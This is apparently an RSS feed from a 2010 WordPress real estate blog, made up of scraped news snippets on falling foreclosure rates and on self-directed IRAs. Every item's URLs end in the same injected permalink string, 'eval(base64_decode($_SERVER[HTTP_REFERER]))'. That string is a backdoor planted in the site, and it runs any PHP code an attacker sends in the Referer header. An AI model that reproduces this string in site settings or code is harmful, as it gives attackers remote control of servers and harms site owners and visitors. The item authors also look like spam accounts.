<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Michigan Real Estate Investing</title>
	<atom:link href="http://www.michiganrealestateinvesting.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.michiganrealestateinvesting.com</link>
	<description>Wealth with Michigan Real Estate in Today's Economy</description>
	<pubDate>Thu, 11 Mar 2010 15:37:28 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Foreclosure rates up by smallest amount in 4 years (Louisville Courier-Journal)</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-louisville-courier-journal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-louisville-courier-journal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 15:37:28 +0000</pubDate>
		<dc:creator>styclerly</dc:creator>
		
		<category><![CDATA[Michigan Foreclosure News]]></category>

		<category><![CDATA[a-year-ago]]></category>

		<category><![CDATA[annual-increase]]></category>

		<category><![CDATA[february]]></category>

		<category><![CDATA[four-years]]></category>

		<category><![CDATA[households-facing]]></category>

		<category><![CDATA[number]]></category>

		<category><![CDATA[percent-from]]></category>

		<category><![CDATA[real-estate-]]></category>

		<category><![CDATA[smallest]]></category>

		<category><![CDATA[the-smallest]]></category>

		<category><![CDATA[thursday-]]></category>

		<category><![CDATA[years]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-louisville-courier-journal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[RealtyTrac Inc. said Thursday that the number of U.S. households facing foreclosure in February grew 6 percent from a year ago, the smallest annual increase in four years.]]></description>
			<content:encoded><![CDATA[<p>RealtyTrac Inc. said Thursday that the number of U.S. households facing foreclosure in February grew 6 percent from a year ago, the smallest annual increase in four years.</p>
<p>See the rest here: <br />
<a target="_blank" href="http://us.rd.yahoo.com/dailynews/rss/search/michigan foreclosure/SIG=12h2la3t2/*http://www.courier-journal.com/article/20100311/BUSINESS/303110011/1003/rss03" title="Foreclosure rates up by smallest amount in 4 years (Louisville Courier-Journal)">Foreclosure rates up by smallest amount in 4 years (Louisville Courier-Journal)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-louisville-courier-journal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Foreclosure rates up by smallest amount in 4 years (Boston Herald)</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-boston-herald/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-boston-herald/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 13:24:11 +0000</pubDate>
		<dc:creator>amateurgrlom</dc:creator>
		
		<category><![CDATA[Michigan Foreclosure News]]></category>

		<category><![CDATA[a-year-ago]]></category>

		<category><![CDATA[but-the]]></category>

		<category><![CDATA[crisis-isn]]></category>

		<category><![CDATA[growth-may]]></category>

		<category><![CDATA[pace]]></category>

		<category><![CDATA[real-estate-]]></category>

		<category><![CDATA[Self Directed IRA]]></category>

		<category><![CDATA[slowing-down]]></category>

		<category><![CDATA[years]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-boston-herald/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[WASHINGTON - The foreclosure crisis isn't over, but the pace of growth may finally be slowing down. RealtyTrac...]]></description>
			<content:encoded><![CDATA[<p>WASHINGTON - The foreclosure crisis isn&#8217;t over, but the pace of growth may finally be slowing down. RealtyTrac&#8230;</p>
<p>Read the rest here: <br />
<a target="_blank" href="http://us.rd.yahoo.com/dailynews/rss/search/michigan foreclosure/SIG=12neeufip/*http://www.bostonherald.com/business/real_estate/view.bg?articleid=1239007&amp;srvc=rss" title="Foreclosure rates up by smallest amount in 4 years (Boston Herald)">Foreclosure rates up by smallest amount in 4 years (Boston Herald)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-boston-herald/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Foreclosure rates up by smallest amount in 4 years (Deseret News)</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-deseret-news/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-deseret-news/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 13:13:09 +0000</pubDate>
		<dc:creator>Astersans Psihhlosas</dc:creator>
		
		<category><![CDATA[Michigan Foreclosure News]]></category>

		<category><![CDATA[a-year-ago]]></category>

		<category><![CDATA[crisis-isn]]></category>

		<category><![CDATA[four-years]]></category>

		<category><![CDATA[pace]]></category>

		<category><![CDATA[percent-from]]></category>

		<category><![CDATA[real-estate-]]></category>

		<category><![CDATA[Self Directed IRA]]></category>

		<category><![CDATA[slowing-down]]></category>

		<category><![CDATA[smallest]]></category>

		<category><![CDATA[years]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-deseret-news/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[WASHINGTON — The foreclosure crisis isn't over, but the pace of growth may finally be slowing down. ]]></description>
			<content:encoded><![CDATA[<p>WASHINGTON — The foreclosure crisis isn&#8217;t over, but the pace of growth may finally be slowing down. </p>
<p>Read the original:<br />
<a target="_blank" href="http://us.rd.yahoo.com/dailynews/rss/search/michigan foreclosure/SIG=13l7d47rj/*http://www.deseretnews.com/article/700015729/Foreclosure-rates-up-by-smallest-amount-in-4-years.html?s_cid=rss-14" title="Foreclosure rates up by smallest amount in 4 years (Deseret News)">Foreclosure rates up by smallest amount in 4 years (Deseret News)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-deseret-news/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Sell Stock to Buy House: Capital Gains? - Zillow Real Estate Advice</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/sell-stock-to-buy-house-capital-gains-zillow-real-estate-advice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/sell-stock-to-buy-house-capital-gains-zillow-real-estate-advice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 12:26:00 +0000</pubDate>
		<dc:creator>forexrobots</dc:creator>
		
		<category><![CDATA[Self Directed IRA]]></category>

		<category><![CDATA[add new tag]]></category>

		<category><![CDATA[and-defer]]></category>

		<category><![CDATA[and-sell]]></category>

		<category><![CDATA[better-way]]></category>

		<category><![CDATA[doing-everything]]></category>

		<category><![CDATA[estate]]></category>

		<category><![CDATA[ira]]></category>

		<category><![CDATA[self-directed]]></category>

		<category><![CDATA[taxes-as-long]]></category>

		<category><![CDATA[you-are]]></category>

		<category><![CDATA[you-may]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/sell-stock-to-buy-house-capital-gains-zillow-real-estate-advice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[With a Self - Directed IRA you are in charge. You can buy and sell Real Estate and defer any taxes as long as you are doing everything INSIDE the Self - Directed IRA . I'm not an expert by any means, but a good place to find out more info is ...]]></description>
			<content:encoded><![CDATA[<p>With a Self - Directed IRA you are in charge. You can buy and sell Real Estate and defer any taxes as long as you are doing everything INSIDE the Self - Directed IRA . I&#8217;m not an expert by any means, but a good place to find out more info is &#8230;</p>
<p>The rest is here:<br />
<a target="_blank" href="http://www.zillow.com/advice-thread/Sell-Stock-to-Buy-House-Capital-Gains/333078/" title="Sell Stock to Buy House: Capital Gains? - Zillow Real Estate Advice">Sell Stock to Buy House: Capital Gains? - Zillow Real Estate Advice</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/sell-stock-to-buy-house-capital-gains-zillow-real-estate-advice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Foreclosure rates up by smallest amount in 4 years (The Washington Times)</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-the-washington-times/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-the-washington-times/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 11:51:15 +0000</pubDate>
		<dc:creator>styclerly</dc:creator>
		
		<category><![CDATA[Michigan Foreclosure News]]></category>

		<category><![CDATA[a-national-report]]></category>

		<category><![CDATA[add new tag]]></category>

		<category><![CDATA[every-418]]></category>

		<category><![CDATA[february]]></category>

		<category><![CDATA[four-years]]></category>

		<category><![CDATA[growth-may]]></category>

		<category><![CDATA[nationwide-trend]]></category>

		<category><![CDATA[number]]></category>

		<category><![CDATA[pace]]></category>

		<category><![CDATA[real-estate-]]></category>

		<category><![CDATA[rose-slightly]]></category>

		<category><![CDATA[slowing-down]]></category>

		<category><![CDATA[the-smallest]]></category>

		<category><![CDATA[year]]></category>

		<category><![CDATA[years]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-the-washington-times/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[WASHINGTON (AP) -- The foreclosure crisis isn't over, but the pace of growth may finally be slowing down. RealtyTrac Inc. ]]></description>
			<content:encoded><![CDATA[<p>WASHINGTON (AP) &#8212; The foreclosure crisis isn&#8217;t over, but the pace of growth may finally be slowing down. RealtyTrac Inc. </p>
<p>See the original post: <br />
<a target="_blank" href="http://us.rd.yahoo.com/dailynews/rss/search/michigan foreclosure/SIG=12u6girsh/*http://www.washingtontimes.com/news/2010/mar/11/foreclosure-rates-smallest-amount-4-years/" title="Foreclosure rates up by smallest amount in 4 years (The Washington Times)">Foreclosure rates up by smallest amount in 4 years (The Washington Times)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-the-washington-times/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Foreclosure rate has smallest rise in 4 years (The Indianapolis Star)</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rate-has-smallest-rise-in-4-years-the-indianapolis-star/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rate-has-smallest-rise-in-4-years-the-indianapolis-star/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 11:13:45 +0000</pubDate>
		<dc:creator>misterlikolipsus</dc:creator>
		
		<category><![CDATA[Michigan Foreclosure News]]></category>

		<category><![CDATA[a-national-report]]></category>

		<category><![CDATA[add new tag]]></category>

		<category><![CDATA[annual-increase]]></category>

		<category><![CDATA[february]]></category>

		<category><![CDATA[four-years]]></category>

		<category><![CDATA[growth-may]]></category>

		<category><![CDATA[percent-from]]></category>

		<category><![CDATA[real-estate-]]></category>

		<category><![CDATA[the-year-ago]]></category>

		<category><![CDATA[year]]></category>

		<category><![CDATA[years]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rate-has-smallest-rise-in-4-years-the-indianapolis-star/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[RealtyTrac Inc. ]]></description>
			<content:encoded><![CDATA[<p>RealtyTrac Inc. </p>
<p>Read the original here:<br />
<a target="_blank" href="http://us.rd.yahoo.com/dailynews/rss/search/michigan foreclosure/SIG=13226a1tm/*http://content.usatoday.net/dist/custom/gci/InsidePage.aspx?cId=indystar&amp;sParam=32999999.story" title="Foreclosure rate has smallest rise in 4 years (The Indianapolis Star)">Foreclosure rate has smallest rise in 4 years (The Indianapolis Star)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rate-has-smallest-rise-in-4-years-the-indianapolis-star/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ohio foreclosure filings up a bit, Michigan and #8217;s 14% (The Toledo Blade)</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/ohio-foreclosure-filings-up-a-bit-michigan-and-8217s-14-the-toledo-blade/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/ohio-foreclosure-filings-up-a-bit-michigan-and-8217s-14-the-toledo-blade/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 10:55:27 +0000</pubDate>
		<dc:creator>Mamitaamocast</dc:creator>
		
		<category><![CDATA[Michigan Foreclosure News]]></category>

		<category><![CDATA[a-national-report]]></category>

		<category><![CDATA[all-but]]></category>

		<category><![CDATA[february]]></category>

		<category><![CDATA[national-report]]></category>

		<category><![CDATA[nationwide-trend]]></category>

		<category><![CDATA[real-estate-]]></category>

		<category><![CDATA[released-today-]]></category>

		<category><![CDATA[rose-slightly]]></category>

		<category><![CDATA[Self Directed IRA]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/ohio-foreclosure-filings-up-a-bit-michigan-and-8217s-14-the-toledo-blade/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Foreclosure filings in Ohio rose slightly in February, part of a nationwide trend in all but 14 states, a national report released today shows.]]></description>
			<content:encoded><![CDATA[<p>Foreclosure filings in Ohio rose slightly in February, part of a nationwide trend in all but 14 states, a national report released today shows.</p>
<p>See the rest here:<br />
<a target="_blank" href="http://us.rd.yahoo.com/dailynews/rss/search/michigan foreclosure/SIG=12np0o1s0/*http://www.toledoblade.com/apps/pbcs.dll/article?AID=/20100311/BUSINESS05/100319913" title="Ohio foreclosure filings up a bit, Michigan and #8217;s 14% (The Toledo Blade)">Ohio foreclosure filings up a bit, Michigan and #8217;s 14% (The Toledo Blade)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/ohio-foreclosure-filings-up-a-bit-michigan-and-8217s-14-the-toledo-blade/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Real Estate Investing Blueprint</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/real-estate-investing-blueprint/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/real-estate-investing-blueprint/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 10:22:21 +0000</pubDate>
		<dc:creator>misterlikolipsus</dc:creator>
		
		<category><![CDATA[Self Directed IRA]]></category>

		<category><![CDATA[a-great-vehicle]]></category>

		<category><![CDATA[add new tag]]></category>

		<category><![CDATA[for-allowing]]></category>

		<category><![CDATA[for-the]]></category>

		<category><![CDATA[ira]]></category>

		<category><![CDATA[payment-on-your]]></category>

		<category><![CDATA[real-estate-]]></category>

		<category><![CDATA[several-ways]]></category>

		<category><![CDATA[storage-deals-]]></category>

		<category><![CDATA[there-are]]></category>

		<category><![CDATA[you-are]]></category>

		<category><![CDATA[your-self]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/real-estate-investing-blueprint/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[As you are already aware, there are several ways to raise cash for the down payment on your self storage deals. One of my favorites, Self - Directed IRA's , are a great vehicle for allowing me to invest the money in my IRA, tax free, ...]]></description>
			<content:encoded><![CDATA[<p>As you are already aware, there are several ways to raise cash for the down payment on your self storage deals. One of my favorites, Self - Directed IRA&#8217;s , are a great vehicle for allowing me to invest the money in my IRA, tax free, &#8230;</p>
<p>View post:<br />
<a target="_blank" href="http://realestateinvestingblueprint.wordpress.com/2010/03/11/446/" title="Real Estate Investing Blueprint">Real Estate Investing Blueprint</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/real-estate-investing-blueprint/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Foreclosure leveling off (CNNMoney.com via Yahoo! Finance)</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-leveling-off-cnnmoneycom-via-yahoo-finance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-leveling-off-cnnmoneycom-via-yahoo-finance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 06:59:00 +0000</pubDate>
		<dc:creator>BlondinkaVika</dc:creator>
		
		<category><![CDATA[Michigan Foreclosure News]]></category>

		<category><![CDATA[a-month-earlier]]></category>

		<category><![CDATA[add new tag]]></category>

		<category><![CDATA[growth-may]]></category>

		<category><![CDATA[national-foreclosure]]></category>

		<category><![CDATA[pace]]></category>

		<category><![CDATA[real-estate-]]></category>

		<category><![CDATA[Self Directed IRA]]></category>

		<category><![CDATA[the-latest]]></category>

		<category><![CDATA[the-pace]]></category>

		<category><![CDATA[thursday-]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-leveling-off-cnnmoneycom-via-yahoo-finance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[The national foreclosure rate fell 2% in February from a month earlier, according to an industry report released Thursday, the latest sign that the pace of foreclosures is slowing.]]></description>
			<content:encoded><![CDATA[<p>The national foreclosure rate fell 2% in February from a month earlier, according to an industry report released Thursday, the latest sign that the pace of foreclosures is slowing.</p>
<p>Go here to see the original:<br />
<a target="_blank" href="http://us.rd.yahoo.com/dailynews/rss/search/michigan foreclosure/SIG=12fa3jbpc/*http://biz.yahoo.com/cnnm/100311/031110_foreclosures_leveling_off.html?.v=2" title="Foreclosure leveling off (CNNMoney.com via Yahoo! Finance)">Foreclosure leveling off (CNNMoney.com via Yahoo! Finance)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-leveling-off-cnnmoneycom-via-yahoo-finance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Foreclosure rates up by smallest amount in 4 years (USA Today)</title>
		<link>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-usa-today/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-usa-today/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 06:27:21 +0000</pubDate>
		<dc:creator>Aseessinasas</dc:creator>
		
		<category><![CDATA[Michigan Foreclosure News]]></category>

		<category><![CDATA[add new tag]]></category>

		<category><![CDATA[but-the]]></category>

		<category><![CDATA[crisis-isn]]></category>

		<category><![CDATA[growth-may]]></category>

		<category><![CDATA[pace]]></category>

		<category><![CDATA[Self Directed IRA]]></category>

		<category><![CDATA[slowing-down]]></category>

		<guid isPermaLink="false">http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-usa-today/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[The foreclosure crisis isn't over, but the pace of growth may finally be slowing down.]]></description>
			<content:encoded><![CDATA[<p>The foreclosure crisis isn&#8217;t over, but the pace of growth may finally be slowing down.</p>
<p>Original post:<br />
<a target="_blank" href="http://us.rd.yahoo.com/dailynews/rss/search/michigan foreclosure/SIG=12m6qpibf/*http://www.usatoday.com/money/economy/housing/2010-03-11-foreclosures_N.htm?csp=34" title="Foreclosure rates up by smallest amount in 4 years (USA Today)">Foreclosure rates up by smallest amount in 4 years (USA Today)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.michiganrealestateinvesting.com/2010/03/11/foreclosure-rates-up-by-smallest-amount-in-4-years-usa-today/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
